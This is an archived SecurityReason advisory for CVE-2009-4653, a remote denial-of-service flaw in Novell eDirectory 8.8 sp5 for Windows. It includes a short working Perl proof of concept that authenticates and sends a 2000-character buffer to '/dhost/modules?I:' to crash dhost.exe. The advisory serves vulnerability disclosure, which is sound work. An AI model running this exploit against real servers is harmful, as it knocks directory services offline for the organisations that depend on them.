|
 |
| SecurityReason | ||
| WLB | ||
| Services | ||
| RSS | ||
| Corporate | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
Home  SecurityAlert Database |
||||
SecurityAlert : 7059 CVE : CVE-2009-4653 CWE : CWE-119 SecurityRisk : High  (About) Remote Exploit : Yes Local Exploit : No Victim interaction required : No Exploit Available : Yes Credit : Hackattack Published : 02.03.2010
Advisory Content : Product: Novell eDirectory 8.8 sp5 for Windows ******** Vulnerability: Denial of Service ******** Discussion: Vulnerability in '/dhost/modules?I:' Sending long strings to '/dhost/modules?I:' causes a DoS (crashing dhost.exe) Also in last weeks published another bug in 'modules?L:' It is not patched yet too.. ******** Credits: HACKATTACK IT SECURITY GmbH Penetration Testing in Deutschland - Österreich - Schweiz www.hackattack.com ************************************************************************ ******** Original Advisory www.hackattack.com ******** PoC: #!usr\bin\perl #Vulnerability has found by HACKATTACK use WWW::Mechanize; use LWP::Debug qw(+); use HTTP::Cookies; $address=$ARGV[0]; if(!$ARGV[0]){ print "Usage:perl $0 address\n"; exit(); } $login = "$address/_LOGIN_SERVER_"; $url = "$address/dhost/"; $module = "modules?I:"; $buffer = "A" x 2000; $vuln = $module.$buffer; #Edit the username and password. $user = "username"; $pass = "password"; #Edit the username and password. my $mechanize = WWW::Mechanize->new(); $mechanize->cookie_jar(HTTP::Cookies->new(file => "$cookie_file",autosave => 1)); $mechanize->timeout($url_timeout); $res = $mechanize->request(HTTP::Request->new('GET', "$login")); $mechanize->submit_form( form_name => "authenticator", fields => { usr => $user, pwd => $pass}, button => 'Login'); $response2 = $mechanize->get("$url$vuln"); About HACKATTACK ================ HACKATTACK IT SECURITY GmbH is a Penetrationtest and Security Auditing company located in Germany and Austria More Information about HACKATTACK at http://www.hackattack.com References : http://xforce.iss.net/xforce/xfdb/54264
http://www.securityfocus.com/bid/37009
http://www.securityfocus.com/archive/1/archive/1/507812/100/0/threaded  Feedback : If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com. |
||||
| Alert | ||
Allow attacker to denial of service apache 2.2.17 server |
||
| Apache |  |
|
| PHP | |
|
» libzip 0.9.3 |
||
| ADT | ||
Protect your family and valuables with Home Security Systems |
||
- 2011-05-13| Copyright © SecurityReason.com. All Rights Reserved. |